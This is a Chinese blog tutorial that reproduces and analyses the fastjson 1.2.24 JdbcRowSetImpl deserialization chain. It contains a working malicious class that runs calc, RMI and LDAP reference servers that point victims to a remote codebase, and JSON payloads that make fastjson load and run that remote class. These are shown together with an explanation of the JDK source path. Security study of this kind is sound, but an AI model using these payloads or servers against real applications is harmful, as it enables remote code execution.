14-java安全——fastjson1.2.24反序列化JdbcRowSetImpl利用链分析

本文详细剖析了Fastjson 1.2.24版本中的JdbcRowSetImpl利用链,涉及RMI/JNDI和LDAP两种场景,展示了如何通过恶意json序列化触发命令执行漏洞。重点讲解了攻击流程、代码复现和漏洞触发机制。
摘要由CSDN通过智能技术生成

fastjson在1.2.24版本中,除了TemplatesImpl链之外,还有一个JdbcRowSetImpl利用链,JdbcRowSetImpl链有两种利用方式:一种是RMI和JNDI利用方式,另一种是JNDI和LDAP利用方式,关于JNDI的相关概念之前在java安全基础中已经介绍过了,而且底层原理已经分析过了,大家可自行参考以下文章。

4-java安全基础——RMI远程调用

5-java安全基础——RMI和JNDI实现漏洞利用

6-java安全基础——JNDI和LDAP利用

1. RMI和JNDI利用方式

漏洞复现环境:

jdk7u80

fastjson1.2.24

RMI和JNDI利用方式对于jdk版本的限制比较大:JDK的版本必须低于这几个版本:6u141、7u131、8u121,本次漏洞复现使用的是jdk7u80版本

首先是基于JNDI和RMI的JdbcRowSetImpl利用链,新建一个maven项目,在pom.xml文件中引入fastjson1.2.24版本的依赖

    <dependencies>
        <dependency>
            <groupId>com.alibaba</groupId>
            <artifactId>fastjson</artifactId>
            <version>1.2.24</version>
        </dependency>
    </dependencies>

在此之前我们先回顾一下JNDI注入

public class JndiTest {
    public static void main(String[] args) throws NamingException {
        //指定RMI服务资源的标识
        String jndi_uri = "rmi://127.0.0.1:10086/test";
        //构建jndi上下文环境
        InitialContext initialContext = new InitialContext();
        //查找标识关联的RMI服务
        initialContext.lookup(jndi_uri);
    }
}

在这个示例程序中,如果RMI客户端中调用lookup函数指定RMI服务的jndi_uri变量可控的话,攻击者就可以通过篡改RMI客户端中jndi_uri变量的值,从而把RMI客户端导向到其他地方并加载一个恶意类Exp就可以造成命令执行,这样客户端就有可能被攻击。

先构造一个恶意类Exp

package com.test;

import java.io.IOException;

public class Exp{

    static {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }

}

构造一个RMI服务端,将RMI客户端导向该处,加载恶意类Exp

package com.test;

import com.sun.jndi.rmi.registry.ReferenceWrapper;

import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

/*
    基于RMI和JNDI利用方式:fastjson反序列化JdbcRowSetImpl利用链分析
*/
public class RMIServer {
    public static void main(String[] args) throws NamingException, RemoteException, AlreadyBoundException {
        //标识符
        String jndi_uri = "http://192.168.0.35:8081/";
        //注册中心
        Registry registry = LocateRegistry.createRegistry(10086);
        //标识符与与恶意对象关联
        Reference reference = new Reference("Exp", "Exp", jndi_uri);
        ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
        //将名称与恶意对象实体进行绑定注册
        registry.bind("Exp",referenceWrapper);
        System.out.println("RMI服务端已启动......");
    }
}

RMI客户端

package com.test;

import com.alibaba.fastjson.JSON;

/*
    基于RMI和JNDI利用方式:fastjson反序列化JdbcRowSetImpl利用链分析
*/
public class RMIClient {

    public static void main(String[] argv){
        String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://192.168.0.35:10086/Exp\", \"autoCommit\":true}";
        JSON.parse(payload);
    }
}

RMI客户端通过fastjson反序列化了一个com.sun.rowset.JdbcRowSetImpl类,该类在反序列化过程中会调用lookup方法发送一个RMI请求(rmi://127.0.0.1:10086/Exp)获取Exp类并加载,当RMI客户端加载Exp类就会执行命令调出计算器。

先启动RMI服务端,再启动RMI客户端,我们从web服务器中可以看到RMI客户端确实从web服务器上获取了恶意类Exp

RMIClient和RMIServer通信过程如下:

我们可以把客户端和服务端的通信过程总共分为6部分:

第一部分表示RMIClient和RMIServer建立RMI通信的过程(即tcp三次握手)

第二部分为RMIClient和RMIServer之间正式通信过程

第三部分表示RMIClient和web服务器建立通信过程(也是tcp三次握手)

第四部部分表示RMIClient和web服务器之间正式通信过程,RMIClient会从web服务器中获取恶意类Exp到本地并加载

第五部分为RMIClient和web服务器之间的tcp链接关闭

第六部分为RMIClient和RMIServer之间的RMI通信的tcp链接关闭,由于这里我强制把RMIClient程序停止了,客户端会发送一个RST段重置TCP连接

具体的通信过程我们不再深入分析,大家可以参考开头的几篇文章。

接下来我们继续分析一下JdbcRowSetImpl利用链是如何触发漏洞的,通过RMIClient中的payload我们知道fastjson在解析json数据反序列化时会调用对象的setter方法设置属性的值,换句话说,fastjson对JdbcRowSetImpl类反序列化时会调用dataSourceName属性的setter方法。

    public void setDataSourceName(String var1) throws SQLException {
		//判断属性的值是否为null
        if (this.getDataSourceName() != null) {
            if (!this.getDataSourceName().equals(var1)) {
                String var2 = this.getDataSourceName();
                super.setDataSourceName(var1);
                this.conn = null;
                this.ps = null;
                this.rs = null;
                this.propertyChangeSupport.firePropertyChange("dataSourceName", var2, var1);
            }
        } else {
			//如果为null设置属性的值
            super.setDataSourceName(var1);
			//设置属性dataSourceName
            this.propertyChangeSupport.firePropertyChange("dataSourceName", (Object)null, var1);
        }

    }

JdbcRowSetImpl类首先会调用getDataSourceName判断属性的值是否为null,如果为null则调用父类的setDataSourceName方法设置值,var1变量的值就是rmi://192.168.0.35:10086/Exp

JdbcRowSetImpl的父类BaseRowSet的setDataSourceName方法

    public void setDataSourceName(String name) throws SQLException {

        if (name == null) {
            dataSource = null;
        } else if (name.equals("")) {
           throw new SQLException("DataSource name cannot be empty string");
        } else {
           dataSource = name;
        }

        URL = null;
    }

setDataSourceName方法会对name参数进行为null或为空字符串的校验,然后设置dataSource 属性的值为rmi://192.168.0.35:10086/Exp

然后JdbcRowSetImpl类调用了firePropertyChange方法将dataSourceName封装到了一个PropertyChangeEvent对象中。

    public void firePropertyChange(String propertyName, Object oldValue, Object newValue) {
        if (oldValue == null || newValue == null || !oldValue.equals(newValue)) {
            firePropertyChange(new PropertyChangeEvent(this.source, propertyName, oldValue, newValue));
        }
    }

我们继续跟踪PropertyChangeEvent的构造,可以看到dataSourceName封装到了PropertyChangeEvent中的propertyName属性中,newValue中存储的就是dataSourceName的值。

为什么要将dataSourceName属性的值设置为rmi://192.168.0.35:10086/Exp?因为JdbcRowSetImpl类调用了一个connect方法获取数据库连接池

    protected Connection connect() throws SQLException {
        if (this.conn != null) {
            return this.conn;
        } else if (this.getDataSourceName() != null) {
            try {
                InitialContext var1 = new InitialContext();
				//调用了lookup方法获取数据库连接
                DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());
                return this.getUsername() != null && !this.getUsername().equals("") ? var2.getConnection(this.getUsername(), this.getPassword()) : var2.getConnection();
            } catch (NamingException var3) {
                throw new SQLException(this.resBundle.handleGetObject("jdbcrowsetimpl.connect").toString());
            }
        } else {
            return this.getUrl() != null ? DriverManager.getConnection(this.getUrl(), this.getUsername(), this.getPassword()) : null;
        }
    }

connect方法内部实际上是调用了一个lookup方法通过RMI方式获取数据库连接池,lookup方法中的参数实际上是调用了父类的getDataSourceName方法返回数据库连接池的rmi标识,由于我们数据库连接池的rmi标识篡改成了恶意类,因此lookup方法会从rmi标识中获取RMI服务指定的恶意类Exp并加载,当lookup方法内部加载Exp类就会触发漏洞。

getDataSourceName方法是从dataSource属性获取的RMI的标识,而dataSource属性的值中正好是通过BaseRowSet类的setDataSourceName方法设置的

然后lookup方法内部经过一系列的调用,最终在decodeObject方法内部调用了一个getObjectInstance方法实例化Exp类时会执行命令调出计算器,并且这还会抛出NamingException异常,具体的分析过程大家可参考开头提供的几篇文章,这里不再赘述。

2. JNDI和LDAP利用方式

在实际的场景中对于RMI和JNDI利用方式的限制比较大,而JNDI和LDAP利用方式对于JDK版本的限制就没有那么大了。

JNDI和LDAP利用的JDK版本:6u211、7u201、8u191

漏洞复现环境:

jdk7u80

LDAP客户端,192.168.0.60(win7)

LDAP服务端,192.168.0.35(win10)

在LDAP服务端的maven项目中pom.xml文件引入LDAP服务的相关依赖:

        <dependency>
            <groupId>commons-codec</groupId>
            <artifactId>commons-codec</artifactId>
            <version>1.12</version>
        </dependency>

        <dependency>
            <groupId>commons-io</groupId>
            <artifactId>commons-io</artifactId>
            <version>2.5</version>
        </dependency>

        <dependency>
            <groupId>com.unboundid</groupId>
            <artifactId>unboundid-ldapsdk</artifactId>
            <version>4.0.9</version>
            <scope>test</scope>
        </dependency>

我们来看一下JNDI和LDAP利用方式的代码,首先是LDAP服务端:

package com.test;

import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;

import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;

/**
 * @auther songly_
 * @data 2021/9/1 9:43
 */

/*
    基于JNDI和LDAP利用方式:fastjson反序列化JdbcRowSetImpl利用链分析
*/
public class LDAPServer {
    private static final String LDAP_BASE = "dc=example,dc=com";

    public static void main(String[] argsx) {
        String[] args = new String[]{"http://192.168.0.35:8081/#Exp", "10086"};
        int port = 0;
        if (args.length < 1 || args[0].indexOf('#') < 0) {
            System.err.println(LDAPServer.class.getSimpleName() + " <codebase_url#classname> [<port>]"); //$NON-NLS-1$
            System.exit(-1);
        } else if (args.length > 1) {
            port = Integer.parseInt(args[1]);
        }
        try {
            InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
            config.setListenerConfigs(new InMemoryListenerConfig(
                    "listen", //$NON-NLS-1$
                    InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
                    port,
                    ServerSocketFactory.getDefault(),
                    SocketFactory.getDefault(),
                    (SSLSocketFactory) SSLSocketFactory.getDefault()));
            config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[0])));
            InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
            System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
            ds.startListening();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
    private static class OperationInterceptor extends InMemoryOperationInterceptor {
        private URL codebase;

        public OperationInterceptor(URL cb) {
            this.codebase = cb;
        }

        @Override
        public void processSearchResult(InMemoryInterceptedSearchResult result) {
            String base = result.getRequest().getBaseDN();
            Entry e = new Entry(base);
            try {
                sendResult(result, base, e);
            } catch (Exception e1) {
                e1.printStackTrace();
            }
        }
        protected void sendResult(InMemoryInterceptedSearchResult result, String base, Entry e) throws LDAPException, MalformedURLException {
            URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
            System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
            e.addAttribute("javaClassName", "foo");
            String cbstring = this.codebase.toString();
            int refPos = cbstring.indexOf('#');
            if (refPos > 0) {
                cbstring = cbstring.substring(0, refPos);
            }
            e.addAttribute("javaCodeBase", cbstring);
            e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$
            e.addAttribute("javaFactory", this.codebase.getRef());
            result.sendSearchEntry(e);
            result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
        }
    }
}

LDAP客户端:

package com.test;

import com.alibaba.fastjson.JSON;

/**
 * @auther songly_
 * @data 2021/9/1 9:51
 */

/*
    基于JNDI和LDAP利用方式:fastjson反序列化JdbcRowSetImpl利用链分析
*/
public class LDAPClient {
    public static void main(String[] argv){
        String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://127.0.0.1:10086/Exp\", \"autoCommit\":true}";
        JSON.parse(payload);
    }
}

LDAPClient中基本没什么变化,不过是把rmi改成ldap服务。

LDAP客户端和LDAP服务端通信如下:

客户端会从web服务器下载恶意类Exp到本地并加载,关于通信过程可以参考RMI和JNDI利用方式,流程基本上差不多。

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值